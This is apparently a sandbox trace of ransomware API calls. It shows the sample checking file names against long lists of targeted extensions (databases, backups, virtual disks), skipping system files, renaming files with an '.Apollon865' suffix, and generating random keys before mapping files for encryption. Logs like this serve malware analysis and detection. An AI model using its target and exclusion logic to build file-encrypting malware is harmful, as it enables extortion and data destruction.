	[0085.244] lstrlenW (lpString="maf") returned 3
	[0085.244] lstrcmpiW (lpString1="H1W", lpString2="maf") returned -1
	[0085.244] lstrlenW (lpString="maq") returned 3
	[0085.244] lstrcmpiW (lpString1="H1W", lpString2="maq") returned -1
	[0085.244] lstrlenW (lpString="mar") returned 3
	[0085.244] lstrcmpiW (lpString1="H1W", lpString2="mar") returned -1
	[0085.244] lstrlenW (lpString="marshal") returned 7
	[0085.244] lstrcmpiW (lpString1="Bet.H1W", lpString2="marshal") returned -1
	[0085.244] lstrlenW (lpString="mas") returned 3
	[0085.244] lstrcmpiW (lpString1="H1W", lpString2="mas") returned -1
	[0085.244] lstrlenW (lpString="mav") returned 3
	[0085.244] lstrcmpiW (lpString1="H1W", lpString2="mav") returned -1
	[0085.244] lstrlenW (lpString="maw") returned 3
	[0085.244] lstrcmpiW (lpString1="H1W", lpString2="maw") returned -1
	[0085.244] lstrlenW (lpString="mdbhtml") returned 7
	[0085.244] lstrcmpiW (lpString1="Bet.H1W", lpString2="mdbhtml") returned -1
	[0085.244] lstrlenW (lpString="mdn") returned 3
	[0085.244] lstrcmpiW (lpString1="H1W", lpString2="mdn") returned -1
	[0085.244] lstrlenW (lpString="mdt") returned 3
	[0085.244] lstrcmpiW (lpString1="H1W", lpString2="mdt") returned -1
	[0085.245] lstrlenW (lpString="mfd") returned 3
	[0085.245] lstrcmpiW (lpString1="H1W", lpString2="mfd") returned -1
	[0085.245] lstrlenW (lpString="mpd") returned 3
	[0085.245] lstrcmpiW (lpString1="H1W", lpString2="mpd") returned -1
	[0085.245] lstrlenW (lpString="mrg") returned 3
	[0085.245] lstrcmpiW (lpString1="H1W", lpString2="mrg") returned -1
	[0085.245] lstrlenW (lpString="mud") returned 3
	[0085.245] lstrcmpiW (lpString1="H1W", lpString2="mud") returned -1
	[0085.245] lstrlenW (lpString="mwb") returned 3
	[0085.245] lstrcmpiW (lpString1="H1W", lpString2="mwb") returned -1
	[0085.245] lstrlenW (lpString="myd") returned 3
	[0085.245] lstrcmpiW (lpString1="H1W", lpString2="myd") returned -1
	[0085.245] lstrlenW (lpString="ndf") returned 3
	[0085.245] lstrcmpiW (lpString1="H1W", lpString2="ndf") returned -1
	[0085.245] lstrlenW (lpString="nnt") returned 3
	[0085.245] lstrcmpiW (lpString1="H1W", lpString2="nnt") returned -1
	[0085.245] lstrlenW (lpString="nrmlib") returned 6
	[0085.245] lstrcmpiW (lpString1="et.H1W", lpString2="nrmlib") returned -1
	[0085.245] lstrlenW (lpString="ns2") returned 3
	[0085.245] lstrcmpiW (lpString1="H1W", lpString2="ns2") returned -1
	[0085.245] lstrlenW (lpString="ns3") returned 3
	[0085.245] lstrcmpiW (lpString1="H1W", lpString2="ns3") returned -1
	[0085.245] lstrlenW (lpString="ns4") returned 3
	[0085.245] lstrcmpiW (lpString1="H1W", lpString2="ns4") returned -1
	[0085.245] lstrlenW (lpString="nsf") returned 3
	[0085.245] lstrcmpiW (lpString1="H1W", lpString2="nsf") returned -1
	[0085.245] lstrlenW (lpString="nv") returned 2
	[0085.245] lstrcmpiW (lpString1="1W", lpString2="nv") returned -1
	[0085.245] lstrlenW (lpString="nv2") returned 3
	[0085.245] lstrcmpiW (lpString1="H1W", lpString2="nv2") returned -1
	[0085.245] lstrlenW (lpString="nwdb") returned 4
	[0085.245] lstrcmpiW (lpString1=".H1W", lpString2="nwdb") returned -1
	[0085.245] lstrlenW (lpString="nyf") returned 3
	[0085.245] lstrcmpiW (lpString1="H1W", lpString2="nyf") returned -1
	[0085.245] lstrlenW (lpString="odb") returned 3
	[0085.245] lstrcmpiW (lpString1="H1W", lpString2="odb") returned -1
	[0085.245] lstrlenW (lpString="odb") returned 3
	[0085.245] lstrcmpiW (lpString1="H1W", lpString2="odb") returned -1
	[0085.246] lstrlenW (lpString="oqy") returned 3
	[0085.246] lstrcmpiW (lpString1="H1W", lpString2="oqy") returned -1
	[0085.246] lstrlenW (lpString="ora") returned 3
	[0085.246] lstrcmpiW (lpString1="H1W", lpString2="ora") returned -1
	[0085.246] lstrlenW (lpString="orx") returned 3
	[0085.246] lstrcmpiW (lpString1="H1W", lpString2="orx") returned -1
	[0085.246] lstrlenW (lpString="owc") returned 3
	[0085.246] lstrcmpiW (lpString1="H1W", lpString2="owc") returned -1
	[0085.246] lstrlenW (lpString="p96") returned 3
	[0085.246] lstrcmpiW (lpString1="H1W", lpString2="p96") returned -1
	[0085.246] lstrlenW (lpString="p97") returned 3
	[0085.246] lstrcmpiW (lpString1="H1W", lpString2="p97") returned -1
	[0085.246] lstrlenW (lpString="pan") returned 3
	[0085.246] lstrcmpiW (lpString1="H1W", lpString2="pan") returned -1
	[0085.246] lstrlenW (lpString="pdb") returned 3
	[0085.246] lstrcmpiW (lpString1="H1W", lpString2="pdb") returned -1
	[0085.246] lstrlenW (lpString="pdm") returned 3
	[0085.246] lstrcmpiW (lpString1="H1W", lpString2="pdm") returned -1
	[0085.246] lstrlenW (lpString="pnz") returned 3
	[0085.246] lstrcmpiW (lpString1="H1W", lpString2="pnz") returned -1
	[0085.246] lstrlenW (lpString="qry") returned 3
	[0085.246] lstrcmpiW (lpString1="H1W", lpString2="qry") returned -1
	[0085.246] lstrlenW (lpString="qvd") returned 3
	[0085.246] lstrcmpiW (lpString1="H1W", lpString2="qvd") returned -1
	[0085.246] lstrlenW (lpString="rbf") returned 3
	[0085.246] lstrcmpiW (lpString1="H1W", lpString2="rbf") returned -1
	[0085.246] lstrlenW (lpString="rctd") returned 4
	[0085.246] lstrcmpiW (lpString1=".H1W", lpString2="rctd") returned -1
	[0085.246] lstrlenW (lpString="rod") returned 3
	[0085.246] lstrcmpiW (lpString1="H1W", lpString2="rod") returned -1
	[0085.246] lstrlenW (lpString="rodx") returned 4
	[0085.246] lstrcmpiW (lpString1=".H1W", lpString2="rodx") returned -1
	[0085.246] lstrlenW (lpString="rpd") returned 3
	[0085.246] lstrcmpiW (lpString1="H1W", lpString2="rpd") returned -1
	[0085.246] lstrlenW (lpString="rsd") returned 3
	[0085.246] lstrcmpiW (lpString1="H1W", lpString2="rsd") returned -1
	[0085.246] lstrlenW (lpString="sas7bdat") returned 8
	[0085.246] lstrcmpiW (lpString1="tBet.H1W", lpString2="sas7bdat") returned 1
	[0085.247] lstrlenW (lpString="sbf") returned 3
	[0085.247] lstrcmpiW (lpString1="H1W", lpString2="sbf") returned -1
	[0085.247] lstrlenW (lpString="scx") returned 3
	[0085.247] lstrcmpiW (lpString1="H1W", lpString2="scx") returned -1
	[0085.247] lstrlenW (lpString="sdb") returned 3
	[0085.247] lstrcmpiW (lpString1="H1W", lpString2="sdb") returned -1
	[0085.247] lstrlenW (lpString="sdc") returned 3
	[0085.247] lstrcmpiW (lpString1="H1W", lpString2="sdc") returned -1
	[0085.247] lstrlenW (lpString="sdf") returned 3
	[0085.247] lstrcmpiW (lpString1="H1W", lpString2="sdf") returned -1
	[0085.247] lstrlenW (lpString="sis") returned 3
	[0085.247] lstrcmpiW (lpString1="H1W", lpString2="sis") returned -1
	[0085.247] lstrlenW (lpString="spq") returned 3
	[0085.247] lstrcmpiW (lpString1="H1W", lpString2="spq") returned -1
	[0085.247] lstrlenW (lpString="te") returned 2
	[0085.247] lstrcmpiW (lpString1="1W", lpString2="te") returned -1
	[0085.247] lstrlenW (lpString="teacher") returned 7
	[0085.247] lstrcmpiW (lpString1="Bet.H1W", lpString2="teacher") returned -1
	[0085.247] lstrlenW (lpString="tmd") returned 3
	[0085.247] lstrcmpiW (lpString1="H1W", lpString2="tmd") returned -1
	[0085.247] lstrlenW (lpString="tps") returned 3
	[0085.247] lstrcmpiW (lpString1="H1W", lpString2="tps") returned -1
	[0085.247] lstrlenW (lpString="trc") returned 3
	[0085.247] lstrcmpiW (lpString1="H1W", lpString2="trc") returned -1
	[0085.247] lstrlenW (lpString="trc") returned 3
	[0085.247] lstrcmpiW (lpString1="H1W", lpString2="trc") returned -1
	[0085.247] lstrlenW (lpString="trm") returned 3
	[0085.247] lstrcmpiW (lpString1="H1W", lpString2="trm") returned -1
	[0085.247] lstrlenW (lpString="udb") returned 3
	[0085.247] lstrcmpiW (lpString1="H1W", lpString2="udb") returned -1
	[0085.247] lstrlenW (lpString="udl") returned 3
	[0085.247] lstrcmpiW (lpString1="H1W", lpString2="udl") returned -1
	[0085.247] lstrlenW (lpString="usr") returned 3
	[0085.247] lstrcmpiW (lpString1="H1W", lpString2="usr") returned -1
	[0085.247] lstrlenW (lpString="v12") returned 3
	[0085.247] lstrcmpiW (lpString1="H1W", lpString2="v12") returned -1
	[0085.247] lstrlenW (lpString="vis") returned 3
	[0085.247] lstrcmpiW (lpString1="H1W", lpString2="vis") returned -1
	[0085.248] lstrlenW (lpString="vpd") returned 3
	[0085.248] lstrcmpiW (lpString1="H1W", lpString2="vpd") returned -1
	[0085.248] lstrlenW (lpString="vvv") returned 3
	[0085.248] lstrcmpiW (lpString1="H1W", lpString2="vvv") returned -1
	[0085.248] lstrlenW (lpString="wdb") returned 3
	[0085.248] lstrcmpiW (lpString1="H1W", lpString2="wdb") returned -1
	[0085.248] lstrlenW (lpString="wmdb") returned 4
	[0085.248] lstrcmpiW (lpString1=".H1W", lpString2="wmdb") returned -1
	[0085.248] lstrlenW (lpString="wrk") returned 3
	[0085.248] lstrcmpiW (lpString1="H1W", lpString2="wrk") returned -1
	[0085.248] lstrlenW (lpString="xdb") returned 3
	[0085.248] lstrcmpiW (lpString1="H1W", lpString2="xdb") returned -1
	[0085.248] lstrlenW (lpString="xld") returned 3
	[0085.248] lstrcmpiW (lpString1="H1W", lpString2="xld") returned -1
	[0085.248] lstrlenW (lpString="xmlff") returned 5
	[0085.248] lstrcmpiW (lpString1="t.H1W", lpString2="xmlff") returned -1
	[0085.248] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W.Apollon865") returned 89
	[0085.248] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_bestbet.h1w"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_bestbet.h1w.apollon865"), dwFlags=0x1) returned 1
	[0085.250] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_bestbet.h1w.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0085.250] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=206316) returned 1
	[0085.250] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0085.251] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0085.251] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0085.251] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0085.252] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0085.252] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0085.252] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x328f0, lpName=0x0) returned 0x15c
	[0085.253] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x328f0) returned 0x120000
	[0085.264] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0085.265] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0085.265] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0085.265] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0085.265] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0085.265] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0085.265] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0085.265] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0085.265] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0085.265] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0085.265] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0085.265] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0085.265] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0085.265] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0085.267] CloseHandle (hObject=0x15c) returned 1
	[0085.267] CloseHandle (hObject=0x9c) returned 1
	[0085.267] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0085.267] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0085.267] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0085.268] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x79f1a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Help_MTOC_help.H1H", cAlternateFileName="HELP_M~1.H1H")) returned 1
	[0085.268] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.268] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2="Apollon865.txt.exe") returned 1
	[0085.269] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2=".") returned 1
	[0085.269] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2="..") returned 1
	[0085.269] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2="windows") returned -1
	[0085.269] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2="bootmgr") returned 1
	[0085.269] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2="temp") returned -1
	[0085.269] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2="pagefile.sys") returned -1
	[0085.269] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2="boot") returned 1
	[0085.269] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2="ids.txt") returned -1
	[0085.269] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2="ntuser.dat") returned -1
	[0085.269] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2="perflogs") returned -1
	[0085.269] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2="MSBuild") returned -1
	[0085.269] lstrlenW (lpString="Help_MTOC_help.H1H") returned 18
	[0085.269] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W") returned 78
	[0085.269] lstrcpyW (in: lpString1=0x119e67a, lpString2="Help_MTOC_help.H1H" | out: lpString1="Help_MTOC_help.H1H") returned="Help_MTOC_help.H1H"
	[0085.269] lstrlenW (lpString="Help_MTOC_help.H1H") returned 18
	[0085.269] lstrlenW (lpString="Apollon865") returned 10
	[0085.269] lstrcmpiW (lpString1="C_help.H1H", lpString2="Apollon865") returned 1
	[0085.269] lstrlenW (lpString=".dll") returned 4
	[0085.269] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2=".dll") returned 1
	[0085.269] lstrlenW (lpString=".lnk") returned 4
	[0085.269] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2=".lnk") returned 1
	[0085.269] lstrlenW (lpString=".ini") returned 4
	[0085.269] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2=".ini") returned 1
	[0085.269] lstrlenW (lpString=".sys") returned 4
	[0085.269] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2=".sys") returned 1
	[0085.269] lstrlenW (lpString="Help_MTOC_help.H1H") returned 18
	[0085.269] lstrlenW (lpString="bak") returned 3
	[0085.269] lstrcmpiW (lpString1="H1H", lpString2="bak") returned 1
	[0085.269] lstrlenW (lpString="ba_") returned 3
	[0085.269] lstrcmpiW (lpString1="H1H", lpString2="ba_") returned 1
	[0085.269] lstrlenW (lpString="dbb") returned 3
	[0085.269] lstrcmpiW (lpString1="H1H", lpString2="dbb") returned 1
	[0085.269] lstrlenW (lpString="vmdk") returned 4
	[0085.269] lstrcmpiW (lpString1=".H1H", lpString2="vmdk") returned -1
	[0085.269] lstrlenW (lpString="rar") returned 3
	[0085.269] lstrcmpiW (lpString1="H1H", lpString2="rar") returned -1
	[0085.269] lstrlenW (lpString="zip") returned 3
	[0085.270] lstrcmpiW (lpString1="H1H", lpString2="zip") returned -1
	[0085.270] lstrlenW (lpString="tgz") returned 3
	[0085.270] lstrcmpiW (lpString1="H1H", lpString2="tgz") returned -1
	[0085.270] lstrlenW (lpString="vbox") returned 4
	[0085.270] lstrcmpiW (lpString1=".H1H", lpString2="vbox") returned -1
	[0085.270] lstrlenW (lpString="vdi") returned 3
	[0085.270] lstrcmpiW (lpString1="H1H", lpString2="vdi") returned -1
	[0085.270] lstrlenW (lpString="vhd") returned 3
	[0085.270] lstrcmpiW (lpString1="H1H", lpString2="vhd") returned -1
	[0085.270] lstrlenW (lpString="vhdx") returned 4
	[0085.270] lstrcmpiW (lpString1=".H1H", lpString2="vhdx") returned -1
	[0085.270] lstrlenW (lpString="avhd") returned 4
	[0085.270] lstrcmpiW (lpString1=".H1H", lpString2="avhd") returned -1
	[0085.270] lstrlenW (lpString="db") returned 2
	[0085.270] lstrcmpiW (lpString1="1H", lpString2="db") returned -1
	[0085.270] lstrlenW (lpString="db2") returned 3
	[0085.270] lstrcmpiW (lpString1="H1H", lpString2="db2") returned 1
	[0085.270] lstrlenW (lpString="db3") returned 3
	[0085.270] lstrcmpiW (lpString1="H1H", lpString2="db3") returned 1
	[0085.270] lstrlenW (lpString="dbf") returned 3
	[0085.278] lstrcmpiW (lpString1="H1H", lpString2="dbf") returned 1
	[0085.278] lstrlenW (lpString="mdf") returned 3
	[0085.278] lstrcmpiW (lpString1="H1H", lpString2="mdf") returned -1
	[0085.278] lstrlenW (lpString="mdb") returned 3
	[0085.278] lstrcmpiW (lpString1="H1H", lpString2="mdb") returned -1
	[0085.278] lstrlenW (lpString="sql") returned 3
	[0085.278] lstrcmpiW (lpString1="H1H", lpString2="sql") returned -1
	[0085.278] lstrlenW (lpString="sqlite") returned 6
	[0085.278] lstrcmpiW (lpString1="lp.H1H", lpString2="sqlite") returned -1
	[0085.278] lstrlenW (lpString="sqlite3") returned 7
	[0085.278] lstrcmpiW (lpString1="elp.H1H", lpString2="sqlite3") returned -1
	[0085.278] lstrlenW (lpString="sqlitedb") returned 8
	[0085.278] lstrcmpiW (lpString1="help.H1H", lpString2="sqlitedb") returned -1
	[0085.278] lstrlenW (lpString="xml") returned 3
	[0085.278] lstrcmpiW (lpString1="H1H", lpString2="xml") returned -1
	[0085.278] lstrlenW (lpString="$er") returned 3
	[0085.278] lstrcmpiW (lpString1="H1H", lpString2="$er") returned 1
	[0085.278] lstrlenW (lpString="4dd") returned 3
	[0085.278] lstrcmpiW (lpString1="H1H", lpString2="4dd") returned 1
	[0085.279] lstrlenW (lpString="4dl") returned 3
	[0085.279] lstrcmpiW (lpString1="H1H", lpString2="4dl") returned 1
	[0085.279] lstrlenW (lpString="^^^") returned 3
	[0085.279] lstrcmpiW (lpString1="H1H", lpString2="^^^") returned 1
	[0085.279] lstrlenW (lpString="abs") returned 3
	[0085.279] lstrcmpiW (lpString1="H1H", lpString2="abs") returned 1
	[0085.279] lstrlenW (lpString="abx") returned 3
	[0085.279] lstrcmpiW (lpString1="H1H", lpString2="abx") returned 1
	[0085.279] lstrlenW (lpString="accdb") returned 5
	[0085.279] lstrcmpiW (lpString1="p.H1H", lpString2="accdb") returned 1
	[0085.279] lstrlenW (lpString="accdc") returned 5
	[0085.279] lstrcmpiW (lpString1="p.H1H", lpString2="accdc") returned 1
	[0085.279] lstrlenW (lpString="accde") returned 5
	[0085.279] lstrcmpiW (lpString1="p.H1H", lpString2="accde") returned 1
	[0085.279] lstrlenW (lpString="accdr") returned 5
	[0085.279] lstrcmpiW (lpString1="p.H1H", lpString2="accdr") returned 1
	[0085.279] lstrlenW (lpString="accdt") returned 5
	[0085.279] lstrcmpiW (lpString1="p.H1H", lpString2="accdt") returned 1
	[0085.279] lstrlenW (lpString="accdw") returned 5
	[0085.279] lstrcmpiW (lpString1="p.H1H", lpString2="accdw") returned 1
	[0085.279] lstrlenW (lpString="accft") returned 5
	[0085.279] lstrcmpiW (lpString1="p.H1H", lpString2="accft") returned 1
	[0085.279] lstrlenW (lpString="adb") returned 3
	[0085.279] lstrcmpiW (lpString1="H1H", lpString2="adb") returned 1
	[0085.279] lstrlenW (lpString="adb") returned 3
	[0085.279] lstrcmpiW (lpString1="H1H", lpString2="adb") returned 1
	[0085.279] lstrlenW (lpString="ade") returned 3
	[0085.279] lstrcmpiW (lpString1="H1H", lpString2="ade") returned 1
	[0085.279] lstrlenW (lpString="adf") returned 3
	[0085.279] lstrcmpiW (lpString1="H1H", lpString2="adf") returned 1
	[0085.279] lstrlenW (lpString="adn") returned 3
	[0085.279] lstrcmpiW (lpString1="H1H", lpString2="adn") returned 1
	[0085.279] lstrlenW (lpString="adp") returned 3
	[0085.279] lstrcmpiW (lpString1="H1H", lpString2="adp") returned 1
	[0085.279] lstrlenW (lpString="alf") returned 3
	[0085.279] lstrcmpiW (lpString1="H1H", lpString2="alf") returned 1
	[0085.279] lstrlenW (lpString="ask") returned 3
	[0085.279] lstrcmpiW (lpString1="H1H", lpString2="ask") returned 1
	[0085.280] lstrlenW (lpString="btr") returned 3
	[0085.280] lstrcmpiW (lpString1="H1H", lpString2="btr") returned 1
	[0085.280] lstrlenW (lpString="cat") returned 3
	[0085.280] lstrcmpiW (lpString1="H1H", lpString2="cat") returned 1
	[0085.280] lstrlenW (lpString="cdb") returned 3
	[0085.280] lstrcmpiW (lpString1="H1H", lpString2="cdb") returned 1
	[0085.280] lstrlenW (lpString="ckp") returned 3
	[0085.280] lstrcmpiW (lpString1="H1H", lpString2="ckp") returned 1
	[0085.280] lstrlenW (lpString="cma") returned 3
	[0085.280] lstrcmpiW (lpString1="H1H", lpString2="cma") returned 1
	[0085.280] lstrlenW (lpString="cpd") returned 3
	[0085.280] lstrcmpiW (lpString1="H1H", lpString2="cpd") returned 1
	[0085.280] lstrlenW (lpString="dacpac") returned 6
	[0085.280] lstrcmpiW (lpString1="lp.H1H", lpString2="dacpac") returned 1
	[0085.280] lstrlenW (lpString="dad") returned 3
	[0085.280] lstrcmpiW (lpString1="H1H", lpString2="dad") returned 1
	[0085.280] lstrlenW (lpString="dadiagrams") returned 10
	[0085.280] lstrcmpiW (lpString1="C_help.H1H", lpString2="dadiagrams") returned -1
	[0085.280] lstrlenW (lpString="daschema") returned 8
	[0085.280] lstrcmpiW (lpString1="help.H1H", lpString2="daschema") returned 1
	[0085.280] lstrlenW (lpString="db-journal") returned 10
	[0085.280] lstrcmpiW (lpString1="C_help.H1H", lpString2="db-journal") returned -1
	[0085.280] lstrlenW (lpString="db-shm") returned 6
	[0085.280] lstrcmpiW (lpString1="lp.H1H", lpString2="db-shm") returned 1
	[0085.280] lstrlenW (lpString="db-wal") returned 6
	[0085.280] lstrcmpiW (lpString1="lp.H1H", lpString2="db-wal") returned 1
	[0085.280] lstrlenW (lpString="dbc") returned 3
	[0085.280] lstrcmpiW (lpString1="H1H", lpString2="dbc") returned 1
	[0085.280] lstrlenW (lpString="dbs") returned 3
	[0085.280] lstrcmpiW (lpString1="H1H", lpString2="dbs") returned 1
	[0085.280] lstrlenW (lpString="dbt") returned 3
	[0085.280] lstrcmpiW (lpString1="H1H", lpString2="dbt") returned 1
	[0085.280] lstrlenW (lpString="dbv") returned 3
	[0085.280] lstrcmpiW (lpString1="H1H", lpString2="dbv") returned 1
	[0085.280] lstrlenW (lpString="dbx") returned 3
	[0085.280] lstrcmpiW (lpString1="H1H", lpString2="dbx") returned 1
	[0085.280] lstrlenW (lpString="dcb") returned 3
	[0085.280] lstrcmpiW (lpString1="H1H", lpString2="dcb") returned 1
	[0085.281] lstrlenW (lpString="dct") returned 3
	[0085.281] lstrcmpiW (lpString1="H1H", lpString2="dct") returned 1
	[0085.281] lstrlenW (lpString="dcx") returned 3
	[0085.281] lstrcmpiW (lpString1="H1H", lpString2="dcx") returned 1
	[0085.281] lstrlenW (lpString="ddl") returned 3
	[0085.281] lstrcmpiW (lpString1="H1H", lpString2="ddl") returned 1
	[0085.281] lstrlenW (lpString="dlis") returned 4
	[0085.281] lstrcmpiW (lpString1=".H1H", lpString2="dlis") returned -1
	[0085.281] lstrlenW (lpString="dp1") returned 3
	[0085.281] lstrcmpiW (lpString1="H1H", lpString2="dp1") returned 1
	[0085.281] lstrlenW (lpString="dqy") returned 3
	[0085.281] lstrcmpiW (lpString1="H1H", lpString2="dqy") returned 1
	[0085.281] lstrlenW (lpString="dsk") returned 3
	[0085.281] lstrcmpiW (lpString1="H1H", lpString2="dsk") returned 1
	[0085.281] lstrlenW (lpString="dsn") returned 3
	[0085.281] lstrcmpiW (lpString1="H1H", lpString2="dsn") returned 1
	[0085.281] lstrlenW (lpString="dtsx") returned 4
	[0085.281] lstrcmpiW (lpString1=".H1H", lpString2="dtsx") returned -1
	[0085.281] lstrlenW (lpString="dxl") returned 3
	[0085.281] lstrcmpiW (lpString1="H1H", lpString2="dxl") returned 1
	[0085.281] lstrlenW (lpString="eco") returned 3
	[0085.281] lstrcmpiW (lpString1="H1H", lpString2="eco") returned 1
	[0085.281] lstrlenW (lpString="ecx") returned 3
	[0085.281] lstrcmpiW (lpString1="H1H", lpString2="ecx") returned 1
	[0085.281] lstrlenW (lpString="edb") returned 3
	[0085.281] lstrcmpiW (lpString1="H1H", lpString2="edb") returned 1
	[0085.281] lstrlenW (lpString="epim") returned 4
	[0085.281] lstrcmpiW (lpString1=".H1H", lpString2="epim") returned -1
	[0085.281] lstrlenW (lpString="fcd") returned 3
	[0085.281] lstrcmpiW (lpString1="H1H", lpString2="fcd") returned 1
	[0085.281] lstrlenW (lpString="fdb") returned 3
	[0085.281] lstrcmpiW (lpString1="H1H", lpString2="fdb") returned 1
	[0085.281] lstrlenW (lpString="fic") returned 3
	[0085.281] lstrcmpiW (lpString1="H1H", lpString2="fic") returned 1
	[0085.281] lstrlenW (lpString="flexolibrary") returned 12
	[0085.281] lstrcmpiW (lpString1="TOC_help.H1H", lpString2="flexolibrary") returned 1
	[0085.281] lstrlenW (lpString="fm5") returned 3
	[0085.281] lstrcmpiW (lpString1="H1H", lpString2="fm5") returned 1
	[0085.282] lstrlenW (lpString="fmp") returned 3
	[0085.282] lstrcmpiW (lpString1="H1H", lpString2="fmp") returned 1
	[0085.282] lstrlenW (lpString="fmp12") returned 5
	[0085.282] lstrcmpiW (lpString1="p.H1H", lpString2="fmp12") returned 1
	[0085.282] lstrlenW (lpString="fmpsl") returned 5
	[0085.282] lstrcmpiW (lpString1="p.H1H", lpString2="fmpsl") returned 1
	[0085.282] lstrlenW (lpString="fol") returned 3
	[0085.282] lstrcmpiW (lpString1="H1H", lpString2="fol") returned 1
	[0085.282] lstrlenW (lpString="fp3") returned 3
	[0085.282] lstrcmpiW (lpString1="H1H", lpString2="fp3") returned 1
	[0085.282] lstrlenW (lpString="fp4") returned 3
	[0085.282] lstrcmpiW (lpString1="H1H", lpString2="fp4") returned 1
	[0085.282] lstrlenW (lpString="fp5") returned 3
	[0085.282] lstrcmpiW (lpString1="H1H", lpString2="fp5") returned 1
	[0085.282] lstrlenW (lpString="fp7") returned 3
	[0085.282] lstrcmpiW (lpString1="H1H", lpString2="fp7") returned 1
	[0085.282] lstrlenW (lpString="fpt") returned 3
